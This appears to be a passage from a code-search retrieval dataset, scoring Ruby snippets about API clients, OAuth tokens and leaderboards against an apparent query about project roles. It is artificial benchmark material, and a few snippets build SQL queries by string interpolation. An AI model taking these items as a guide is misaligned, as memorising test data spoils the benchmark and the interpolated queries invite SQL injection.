Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end", "title": "" }, { "docid": "2d6ecd5e43c6191c1f891adbf9018053", "score": "0.49794313", "text": "def index\n @fb_tokens = FbToken.all\n end", "title": "" }, { "docid": "c719feefd7580aa4e50437078deb8cce", "score": "0.49792445", "text": "def show\n render json: @games_leaderboards_score\n end", "title": "" }, { "docid": "c6b690cb281afd9efb8259a0561883c3", "score": "0.4965955", "text": "def index\n token_ok, token_error = helpers.API_validate_token(request)\n if not token_ok\n render json: {message: token_error }, status: 401\n else\n\n # Get the user_id\n user_id = helpers.API_get_user_from_token(request)\n\n @trk_milestones = TrackingMilestone\n .joins(account: :users)\n .where(\"users.id = #{user_id}\")\n .order(place_order: :asc)\n .map do |o|\n {\n id: o.id,\n name: o.name,\n placeOrder: o.place_order,\n cssColor: o.css_color,\n description: o.description\n }\n end\n \n respond_to do |format|\n format.json { render json: @trk_milestones }\n end\n end\n end", "title": "" }, { "docid": "1e50358fc6923ea8692ca4626ef2ffe3", "score": "0.49645615", "text": "def leaderboard(abbrev)\n SRL::Utils.collection(\n query(\"leaderboard/#{abbrev}\").fetch('leaders'),\n Player\n )\n end", "title": "" }, { "docid": "6facc672221f433bb11272482483874c", "score": "0.4960584", "text": "def get_leaderboard_strategies_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: GamificationLeaderboardsApi.get_leaderboard_strategies ...\"\n end\n # resource path\n local_var_path = \"/leaderboards/strategies\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<String>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: GamificationLeaderboardsApi#get_leaderboard_strategies\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "18495f86abeb1276f82e5b59d9dd031e", "score": "0.4953489", "text": "def fetch_access_token!\n authorizer.fetch_access_token!\n end", "title": "" }, { "docid": "9fce21133da7e0b8b39042b377ad337d", "score": "0.49532014", "text": "def show\n self.current_user.fb_access_token_valid?\n self.current_user.visited\n\n rescue => ex\n handle_exception(ex)\n ensure\n respond_to do |format|\n format.json\n end\n end", "title": "" }, { "docid": "94d527a7b0dbdab5a3ba1659b698724b", "score": "0.49388963", "text": "def get_access_token(token)\n database.view(AccessToken.by_token(token)).first\n end", "title": "" }, { "docid": "1ea01613393a7546ecc3313b8fa46969", "score": "0.49337116", "text": "def fetch_access_token auth_token, auth_token_secret, auth_verifier\n request_token = OAuth::RequestToken.new(oauth_consumer, auth_token, auth_token_secret)\n access_token = request_token.get_access_token(:oauth_verifier => auth_verifier)\n access_token\n end", "title": "" }, { "docid": "666f5c7078100088221319ee37dc4508", "score": "0.49174055", "text": "def show\n render json: @leader\n end", "title": "" }, { "docid": "521efd7bf1be7402deaba70cca313000", "score": "0.4911491", "text": "def leaderboard(id)\n GameLeaderboard.leaderboard @short_name, id\n end", "title": "" }, { "docid": "c2ddb862de784fa94a6851aa2e43e9e9", "score": "0.49098036", "text": "def groups(access_token)\n url = 'https://api.weixin.qq.com/cgi-bin/groups/get'\\\n \"?access_token=#{access_token}\"\n Helper.http_get(url, { accept: :json }.to_json)\n end", "title": "" }, { "docid": "137d8c74d38dd7d8cf2ec077eb591456", "score": "0.4906112", "text": "def scoreboard\n @top = TopScore.where({}).order_by(views: 'desc')\n render json: { status: \"ok\", msg: \"The current leaders are...\", data: @top }\n end", "title": "" }, { "docid": "2c1fae4cd7be87965cf4d9a3ff0a9f43", "score": "0.49018857", "text": "def get leaderboard\n context.send(leaderboard)\n end", "title": "" }, { "docid": "9cd44b90da49380a71161c56a7c0fc56", "score": "0.49013942", "text": "def get_api_access\n\n\t consumer = OAuth::Consumer.new(@keys['consumer_key'], @keys['consumer_secret'], {:site => @base_url})\n\t token = {:oauth_token => @keys['access_token'],\n\t\t\t :oauth_token_secret => @keys['access_token_secret']\n\t }\n\n\t @api = OAuth::AccessToken.from_hash(consumer, token)\n\n end", "title": "" }, { "docid": "eddd442977573ca7c42542634dfdf020", "score": "0.49011475", "text": "def getLeaderboard(num)\n\tbegin\n\t\tranks = Array.new\n\t\tdbc = Mysql.new(@DB_SERVER, @DB_USER, @DB_PASSWORD, @DB_DATABASE)\n\t\tq = dbc.query (\"SELECT username FROM accounts WHERE score ORDER BY score DESC LIMIT #{num}\")\n\t\tn_rows = q.num_rows\n\t\tn_rows.times do\n\t\t\trow = q.fetch_row\n\t\t\tranks.push(row[0])\n\t\tend\n\t\treturn ranks\n\trescue Mysql::Error => e\n\t\tputs \"ERROR\"\n\t\tputs \"Error Code: #{e.errno}\"\n\t\tputs \"Error Message: #{e.error}\"\n\tensure\n\t\tdbc.close if dbc\n\tend\nend", "title": "" }, { "docid": "ba7ec29e922ec4fda03019b168e427f2", "score": "0.4899769", "text": "def referral_stats\n account_name = stats_params[:id]\n stat = RefererStat.where(network: network, referer_name: account_name).select(:basic, :annual, :lifetime).first\n if stat\n render status: :ok, json: {account: account_name, stats: stat}\n else\n render status: :not_found, json: { error: { base: [\"not_found\"] }}\n end\n end", "title": "" }, { "docid": "3a4c635a0eafe3ca767dda9f88229582", "score": "0.48931557", "text": "def leaderboard(id); end", "title": "" }, { "docid": "4756f98fe5165d87e541176d656d74c0", "score": "0.48908216", "text": "def get_bonuses_summary_per_origin(advocate_token)\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/reports/bonuses-summary-per-origin'\r\n _query_builder = APIHelper.append_url_with_query_parameters _query_builder, {\r\n 'advocate_token' => advocate_token\r\n }\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end", "title": "" }, { "docid": "e538bab28ff0d162f064509683c273f3", "score": "0.48897278", "text": "def followers\n @connections = Connection.getfollowing(params[:auth_token], 1)\n\n respond_to do |format|\n# format.html # show.html.erb\n format.json { render json: @connections }\n end\n end", "title": "" }, { "docid": "ce1368b43b7c4b347d496897c1923b23", "score": "0.48889497", "text": "def get_activities(access_token)\n\t\t\tServices::ActivityService.get_activities(access_token)\n\t\tend", "title": "" }, { "docid": "7396f686b7b8202b885749c85a643ca2", "score": "0.48889038", "text": "def respond_with_leaderboard(header_string = \"Let's take a look at the top scores:\")\n key = 'leaderboard:1'\n response = $redis.get(key)\n if response.nil?\n leaders = []\n get_score_leaders.each_with_index do |leader, i|\n user_id = leader[:user_id]\n name = get_slack_name(leader[:user_id], { :use_real_name => true })\n score = currency_format(get_user_score(user_id))\n leaders << \"#{i + 1}. #{name}: #{score}\"\n end\n if leaders.size > 0\n response = \"#{header_string}\\n\\n#{leaders.join(\"\\n\")}\"\n else\n response = 'There are no scores yet!'\n end\n $redis.setex(key, 60*5, response)\n end\n response\nend", "title": "" }, { "docid": "24fb96f190d95c355d7334b9d63f9683", "score": "0.48799446", "text": "def list_contacts(access_token)\r\n # Prepare query url.\r\n _path_url = '/contacts'\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'access_token' => access_token\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomQueryAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n unless _context.response.status_code.between?(200, 208)\r\n raise APIException.new(\r\n 'Unexpected error.',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| Contact.from_hash(element) }\r\n end", "title": "" }, { "docid": "145e29138c622a6c13fa40e11aa270c9", "score": "0.48753202", "text": "def explore\n @json = doorkeeper_access_token.get(\"api/v1/#{params[:api]}\").parsed\n respond_with @json\n end", "title": "" }, { "docid": "5b3de894328cd658881b1fc13bd04c8d", "score": "0.48735037", "text": "def fetch_deets(token)\n # GET \n url = \"https://www.googleapis.com/plus/v1/people/me?access_token=\" + token\n # Make Request\n begin\n response = RestClient.get(\n url, \n :content_type => :json, :accept => :json)\n # Stuff response in\n return JSON.parse(response.to_str)\n rescue => e\n # Log the response\n puts \"LOG | Details fetch error | \" + e.to_s\n # Redirect to the error page\n redirect '/error'\n end\n end", "title": "" }, { "docid": "e923dc3f27ed623089d1c402fedb40ca", "score": "0.48666036", "text": "def leaderboard()\n rides = all_rides()\n leaderboard = rides.sort{ |ride| ride.completion_time() }\n return leaderboard\n end", "title": "" }, { "docid": "8bba65305b84a1110c6287e6194d6fc0", "score": "0.48575455", "text": "def get_contacts(token, request_url)\n headers = { Authorization: \"Bearer #{token}\" }\n\n # Method takes a request URL parameter\n # this is to allow for pagination. Per the docs,\n # you should do a GET on the @odata.nextLink URL, not\n # build the request yourself\n if request_url.nil?\n params = {\n '$select': 'displayName,id', '$orderby': 'displayName',\n '$top': 12 # default to 12 contacts per page\n }\n end\n\n request = request_url || \"#{GRAPH_HOST}/v1.0/me/contacts\"\n\n response = HTTParty.get request, headers: headers, query: params\n response.parsed_response\n end", "title": "" }, { "docid": "187c099de27e845b8e87878772eef04f", "score": "0.4852618", "text": "def leaderboard\n @court = params[\"court_id\"].to_i\n @in_playoffs = true\n @teams = @tournament.get_court_standings(@court, @in_playoffs)\n end", "title": "" }, { "docid": "e470844aa22a1d6da4b901a560a17a2c", "score": "0.48521253", "text": "def clientslist_request (token)\n\n\turi = URI.parse(KEYCLOAK_REALM_URL)\n\trequest = Net::HTTP::Get.new(uri)\n\trequest[\"Authorization\"] = \"bearer \"+ token\n\n\treq_options = {\n\t use_ssl: uri.scheme == \"https\",\n\t}\n\n\tresponse = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n\t http.request(request)\n\tend\n\n\t# response.code\n\tdata = JSON.parse(response.body)\n\t\nend", "title": "" }, { "docid": "e470844aa22a1d6da4b901a560a17a2c", "score": "0.48521253", "text": "def clientslist_request (token)\n\n\turi = URI.parse(KEYCLOAK_REALM_URL)\n\trequest = Net::HTTP::Get.new(uri)\n\trequest[\"Authorization\"] = \"bearer \"+ token\n\n\treq_options = {\n\t use_ssl: uri.scheme == \"https\",\n\t}\n\n\tresponse = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n\t http.request(request)\n\tend\n\n\t# response.code\n\tdata = JSON.parse(response.body)\n\t\nend", "title": "" }, { "docid": "40d729f1fc4fb46b9e0a32cff774d689", "score": "0.48498517", "text": "def read(access_token, path)\n path = GRAPH_API_END_POINT + path.to_s unless path.index(GRAPH_API_END_POINT)\n params = {\n :access_token => access_token,\n :metadata => 1\n }\n\n Resource.http_client.get(path, params).body\n end", "title": "" }, { "docid": "c39da10e3351840e10e39bdaf72ad76d", "score": "0.48495585", "text": "def download_timeline\n access_token = prepare_access_token\n request = \"screen_name=#{@account}&count=#{@count}\"\n url = \"https://api.twitter.com/1.1/statuses/user_timeline.json?#{request}\"\n begin\n response = access_token.request(:get, url).body\n JSON.parse(response)\n rescue => e\n report_error \"Connection error: #{e}.\", 4\n end\n end", "title": "" }, { "docid": "afbcbb44a0d21735acdb9a1b457b1033", "score": "0.48445556", "text": "def public\n\t\texpose Leaderboard.public(@oauth_token, :period => params[:period] || nil, \n :category => params[:category] || nil, :limit => params[:limit] || 1000)\n\tend", "title": "" }, { "docid": "d54d2dc4a73aa488973b2be9e6f8c107", "score": "0.48432636", "text": "def get_scores(qt = 0, metanet_id = nil)\n # Determine leaderboard type\n m = qt == 2 ? 'sr' : 'hs'\n\n # Fetch scores\n board = leaderboard(m)\n\n # Build response\n res = {}\n #score = board.find_by(metanet_id: metanet_id) if !metanet_id.nil?\n #res[\"userInfo\"] = {\n # \"my_score\" => m == 'hs' ? (1000 * score[\"score_#{m}\"].to_i / 60.0).round : 1000 * score[\"score_#{m}\"].to_i,\n # \"my_rank\" => (score[\"rank_#{m}\"].to_i rescue -1),\n # \"my_replay_id\" => score.id.to_i,\n # \"my_display_name\" => score.player.name.to_s.remove(\"\\\\\")\n #} if !score.nil?\n res[\"scores\"] = board.each_with_index.map{ |s, i|\n {\n \"score\" => m == 'hs' ? (1000 * s[\"score_#{m}\"].to_i / 60.0).round : 1000 * s[\"score_#{m}\"].to_i,\n \"rank\" => i,\n \"user_id\" => s['metanet_id'].to_i,\n \"user_name\" => s['name'].to_s.remove(\"\\\\\"),\n \"replay_id\" => s['id'].to_i\n }\n }\n res[\"query_type\"] = qt\n res[\"#{self.class.to_s.remove(\"Mappack\").downcase}_id\"] = self.inner_id\n\n # Log\n player = Player.find_by(metanet_id: metanet_id)\n if !player.nil? && !player.name.nil?\n text = \"#{player.name.to_s} requested #{self.name} leaderboards\"\n else\n text = \"#{self.name} leaderboards requested\"\n end\n dbg(res.to_json) if SOCKET_LOG\n dbg(text)\n\n # Return leaderboards\n res.to_json\n end", "title": "" }, { "docid": "f40731e054baf9d9fe7e2a4b1188e9e9", "score": "0.4835295", "text": "def access_tokens\n service = service_object\n rest_ok_response\n end", "title": "" }, { "docid": "19ddd4b90588578f88b04864413bfe11", "score": "0.4835155", "text": "def friends_timeline(count = 20)\n return 'at first you must been logged in' if !@username and !@password\n \n api_url = 'http://renoter.com/statuses/friends_timeline.json?count=' + count.to_s\n url = URI.parse(api_url)\n request = Net::HTTP::Get.new(api_url)\n request.basic_auth(@username, @password)\n response = Net::HTTP.new(url.host, url.port).start {|http| http.request(request) }\n JSON.parse response.body\n end", "title": "" }, { "docid": "35c8a27f41ff4d32837f4cf5f876b8a7", "score": "0.4825437", "text": "def getMemberBoardsInvited(memberId)\n\tresponse = RestClient.get(\"https://api.trello.com/1/members/\"+memberId+\"/boardsInvited?key=\"+$key+\"&token=\"+$token+\"&filter=open\")\n\tresponse = JSON.parse(response)\nend", "title": "" }, { "docid": "f7421b65f6594b2af617a4b27be441a3", "score": "0.4810909", "text": "def leaderboard(id)\n GameLeaderboard.leaderboard @game_friendly_name, id\n end", "title": "" }, { "docid": "ff450f6a93ae0a9fabf11d9c7083127d", "score": "0.48106867", "text": "def leader_board\n\t\tsquare_board = SquareBoard.where(id: params[:square_board_id]).last\n\t\t@users_hash = {}\n\t\t# Constructing data to show in table.\n\t\tsquare_board.cols_data_hash.each do |k,v|\n\t\t\t@users_hash[v[0]] ||= []\n\t\t\t@users_hash[v[0]] << v[1]\n\t\tend\n\tend", "title": "" }, { "docid": "3ccccdd91acc812beb195f4c2bdb0fdd", "score": "0.48094955", "text": "def index\n @team_leaders = @client.team_leaders\n end", "title": "" }, { "docid": "69202dd3577c5c2e6852ac66370c2773", "score": "0.48065123", "text": "def get_bearer_token\n # Used for app-auth only\n rsp = RestClient::Request.execute(\n :method => :post,\n :url => \"https://api.twitter.com/oauth2/token\",\n :headers => {\"Authorization\" => get_basic_authorization_header},\n :payload => {:grant_type => 'client_credentials'}\n )\n\n JSON.parse(rsp.body)[\"access_token\"]\nend", "title": "" } ]
096744b4d98d5b73c1fc910e44b66378
Begin a page that is view//index.html.erb. You may want to override this for your app. This returns "List Objects".
[ { "docid": "3c0ed7ba2d1ba8899e9707eb3bc8a89c", "score": "0.67523956", "text": "def begin_view_index(objects_locale_key)\n begin_view(t(objects_locale_key))\n #begin_view(t(:List),\" \",t(objects_locale_key))\n end", "title": "" } ]
[ { "docid": "899a72b2170d19ea47acf935393a9ea9", "score": "0.7442222", "text": "def index\n\t\tlist\n\t\trender('list')\n\tend", "title": "" }, { "docid": "899a72b2170d19ea47acf935393a9ea9", "score": "0.7442222", "text": "def index\n\t\tlist\n\t\trender('list')\n\tend", "title": "" }, { "docid": "b54c533181fc2f39c56fae2d5c99ce81", "score": "0.7421358", "text": "def index\n list\n\trender('list')\n end", "title": "" }, { "docid": "296f856762cff2a3798547c15b889599", "score": "0.7417858", "text": "def index\n \tlist\n \t#this renders out the list view template, you can make it any other if you want \n \trender('list')\n end", "title": "" }, { "docid": "0273caaa2de71dfed030bdfaec98a9b8", "score": "0.7328824", "text": "def index_view\n 'list'\n end", "title": "" }, { "docid": "67718d8964ab2d344472b90ecf75b8c5", "score": "0.73021525", "text": "def index\n render\n end", "title": "" }, { "docid": "5bd7ab17f1199c45ddaa1fb9aeadee49", "score": "0.72035015", "text": "def index\n list\n render(\"list\")\n end", "title": "" }, { "docid": "622ef6d88837bffebf1a55362981c415", "score": "0.71782744", "text": "def show\n render :index\n end", "title": "" }, { "docid": "d13fde9afb86533c9c18a796d7bd1fa1", "score": "0.71584606", "text": "def index\n @page = display_page('Admin')\n \n respond_to do |format|\n format.html\n end\n end", "title": "" }, { "docid": "2feed7ac31f1a7bf73cb0f62ae853ae6", "score": "0.70963055", "text": "def index\n @title = \"All pages\"\n @pages = Page.all\n end", "title": "" }, { "docid": "fc1072bd458fa71f8f316d9df8747c00", "score": "0.7090034", "text": "def show\n render :index\n end", "title": "" }, { "docid": "a4ca3f8c2a6ac85aee378f926d1d8ef7", "score": "0.7059227", "text": "def show\n\t\trender 'index'\n\tend", "title": "" }, { "docid": "bc646b31e04de469d5b93e1a1ffab178", "score": "0.7012554", "text": "def index\n @people = Person.all\n @page_title = 'People'\n end", "title": "" }, { "docid": "a2f06e52f6be8a1b3f1bc312a9666b26", "score": "0.69677913", "text": "def index\n @pages = Page.all\n render layout: 'application'\n end", "title": "" }, { "docid": "c86d8880cde2f3e04ac53f4b651d22e1", "score": "0.69194865", "text": "def index\n # display text and links\n end", "title": "" }, { "docid": "c3e88081e5cb9683568ee2201b0aa7d4", "score": "0.69163376", "text": "def index\n\t\trender 'home'\n\tend", "title": "" }, { "docid": "41f0da54ecb6c589a2d23c07199c17a8", "score": "0.69155246", "text": "def index\n\t\t@page_title = \"Home\"\n\t\t\n\tend", "title": "" }, { "docid": "d6e81a71b1df365430686a6594933138", "score": "0.6914965", "text": "def index\n \t#display text and links \n end", "title": "" }, { "docid": "aebd5a85c41d73661c9d925dd823b6a4", "score": "0.69037235", "text": "def index \n \n @title=\"Administration page - \"\n \n end", "title": "" }, { "docid": "cf52fc8357df605e104773f66e74f8da", "score": "0.6880846", "text": "def index\n render text: '', layout: true\n end", "title": "" }, { "docid": "c95328da0a4897f554260c89750fa241", "score": "0.68626875", "text": "def index\n render\n end", "title": "" }, { "docid": "d30bf8b3a70b91b64639c7d9c7225b9c", "score": "0.6843127", "text": "def index\n render_index\n end", "title": "" }, { "docid": "4a691de0c0201f4fb7c9ad75a3f8f1d3", "score": "0.6834794", "text": "def show\n index\n render :index\n end", "title": "" }, { "docid": "75e61bae670027e59742bdebdfbbf03c", "score": "0.6831085", "text": "def index\r\n end", "title": "" }, { "docid": "376d81453be46abde3c868010bd31439", "score": "0.6823786", "text": "def index\n\t\t@page = ContentPage.find_by_home(true)\n\tend", "title": "" }, { "docid": "d1da6903e4a72e12f12e3c123b11a5b8", "score": "0.6801738", "text": "def show\n index\n end", "title": "" }, { "docid": "d3fbd37b3ad39604f14d3c1c94130fb8", "score": "0.67944306", "text": "def index\r\n list\r\n render_action 'list'\r\n end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.6781793", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "75cbee6aef5b146ac9cb5a1fec01024d", "score": "0.67817104", "text": "def index; end", "title": "" }, { "docid": "9420ba17768eb477f2643a4ae88a0a4e", "score": "0.67773837", "text": "def index\n if @current_website.present?\n @pages = @current_website.pages\n else\n @pages = Page.all\n end\n render layout: \"themes/basic/layout\"\n end", "title": "" }, { "docid": "586d8a654e9a9a5ca715fed2da7dc7db", "score": "0.67733616", "text": "def index\n @proverbs = Proverb.all.alphabetical.active.paginate(:page=>params[:page]).per_page(10)\n # call a template by the same name (index.html.erb)\n # place the template in a layout\n end", "title": "" }, { "docid": "3c152bf7aa6cc9da633239be51137c9a", "score": "0.6769131", "text": "def index\n pp 'render index'\n search_and_sort\n end", "title": "" }, { "docid": "e23d56573b8f9e302bf3cd223cdd3119", "score": "0.6765408", "text": "def index\n render 'index'\n\n end", "title": "" }, { "docid": "90678624bc43ffdc99dd0666b15fef7c", "score": "0.6747154", "text": "def index\n list\n render :action => 'list'\n end", "title": "" }, { "docid": "90678624bc43ffdc99dd0666b15fef7c", "score": "0.6747154", "text": "def index\n list\n render :action => 'list'\n end", "title": "" }, { "docid": "90678624bc43ffdc99dd0666b15fef7c", "score": "0.6747154", "text": "def index\n list\n render :action => 'list'\n end", "title": "" }, { "docid": "90678624bc43ffdc99dd0666b15fef7c", "score": "0.6747154", "text": "def index\n list\n render :action => 'list'\n end", "title": "" }, { "docid": "90678624bc43ffdc99dd0666b15fef7c", "score": "0.6747154", "text": "def index\n list\n render :action => 'list'\n end", "title": "" }, { "docid": "90678624bc43ffdc99dd0666b15fef7c", "score": "0.6747154", "text": "def index\n list\n render :action => 'list'\n end", "title": "" }, { "docid": "90678624bc43ffdc99dd0666b15fef7c", "score": "0.6747154", "text": "def index\n list\n render :action => 'list'\n end", "title": "" }, { "docid": "767871797c7e1daf2479b6ced9242e61", "score": "0.67343587", "text": "def index\n list #call the action\n render('list') #render the correct template not 'index'\n end", "title": "" }, { "docid": "cef97b612732d7caa235ddb7ec93df5e", "score": "0.67338675", "text": "def index\r\n end", "title": "" }, { "docid": "cef97b612732d7caa235ddb7ec93df5e", "score": "0.67338675", "text": "def index\r\n end", "title": "" }, { "docid": "cef97b612732d7caa235ddb7ec93df5e", "score": "0.67338675", "text": "def index\r\n end", "title": "" }, { "docid": "f876cc4c6f94a658dd3446fbb3f506c9", "score": "0.6709586", "text": "def index\n list\n #render :action => 'list'\n\n end", "title": "" }, { "docid": "4d79bb37e451aa3f336811d3501eec6b", "score": "0.6704741", "text": "def index\n show\n end", "title": "" }, { "docid": "80493c9ab5328e0192276ca5f141dae6", "score": "0.66997474", "text": "def action\n \"index\"\n end", "title": "" }, { "docid": "c0c168fa84fd8119bbeffb314c894998", "score": "0.6695322", "text": "def index\n puts \"\\n******* index *******\"\n end", "title": "" }, { "docid": "4c235a4c29869839365e7da33078aec0", "score": "0.66908497", "text": "def index \n end", "title": "" }, { "docid": "dae1beefc759ecafcd31dd3d6e3e80d8", "score": "0.6687773", "text": "def index\n page = HomePage.new(session)\n render text: page.render()\n end", "title": "" }, { "docid": "afb577fa278e24fad88948ed952ccafe", "score": "0.66835386", "text": "def show\n render :index\n end", "title": "" }, { "docid": "bfdbddeb20b8c4af5d27b63cf863842f", "score": "0.6679469", "text": "def index\n end", "title": "" }, { "docid": "bfdbddeb20b8c4af5d27b63cf863842f", "score": "0.6679469", "text": "def index\n end", "title": "" }, { "docid": "bfdbddeb20b8c4af5d27b63cf863842f", "score": "0.6679469", "text": "def index\n end", "title": "" }, { "docid": "bfdbddeb20b8c4af5d27b63cf863842f", "score": "0.6679469", "text": "def index\n end", "title": "" }, { "docid": "bfdbddeb20b8c4af5d27b63cf863842f", "score": "0.6679469", "text": "def index\n end", "title": "" }, { "docid": "bfdbddeb20b8c4af5d27b63cf863842f", "score": "0.6679469", "text": "def index\n end", "title": "" }, { "docid": "bfdbddeb20b8c4af5d27b63cf863842f", "score": "0.6679469", "text": "def index\n end", "title": "" }, { "docid": "bfdbddeb20b8c4af5d27b63cf863842f", "score": "0.6679469", "text": "def index\n end", "title": "" }, { "docid": "e4742eb1fbd04acb9cd9572aca80caac", "score": "0.66530144", "text": "def index\n initiate()\n end", "title": "" }, { "docid": "d30962aa702a0e7a9fb1c0a267b28359", "score": "0.6641286", "text": "def index\n\n\n\tend", "title": "" }, { "docid": "d30962aa702a0e7a9fb1c0a267b28359", "score": "0.6641286", "text": "def index\n\n\n\tend", "title": "" }, { "docid": "16a75d2eb92b977bd6c8323bb6ce8fd0", "score": "0.66388893", "text": "def index\n # render index.html \n end", "title": "" }, { "docid": "504d0703fe36ff3b94be3823d3ff99a8", "score": "0.66246223", "text": "def show\n index\n end", "title": "" }, { "docid": "504d0703fe36ff3b94be3823d3ff99a8", "score": "0.66246223", "text": "def show\n index\n end", "title": "" }, { "docid": "504d0703fe36ff3b94be3823d3ff99a8", "score": "0.66246223", "text": "def show\n index\n end", "title": "" }, { "docid": "cab5caa7b68667e117799bc69b1d1f41", "score": "0.662014", "text": "def index\n end", "title": "" }, { "docid": "cab5caa7b68667e117799bc69b1d1f41", "score": "0.662014", "text": "def index\n end", "title": "" }, { "docid": "cab5caa7b68667e117799bc69b1d1f41", "score": "0.662014", "text": "def index\n end", "title": "" } ]
7262f53bb44d61b0036fd25bb04c8066
GET /project_roles/1 GET /project_roles/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
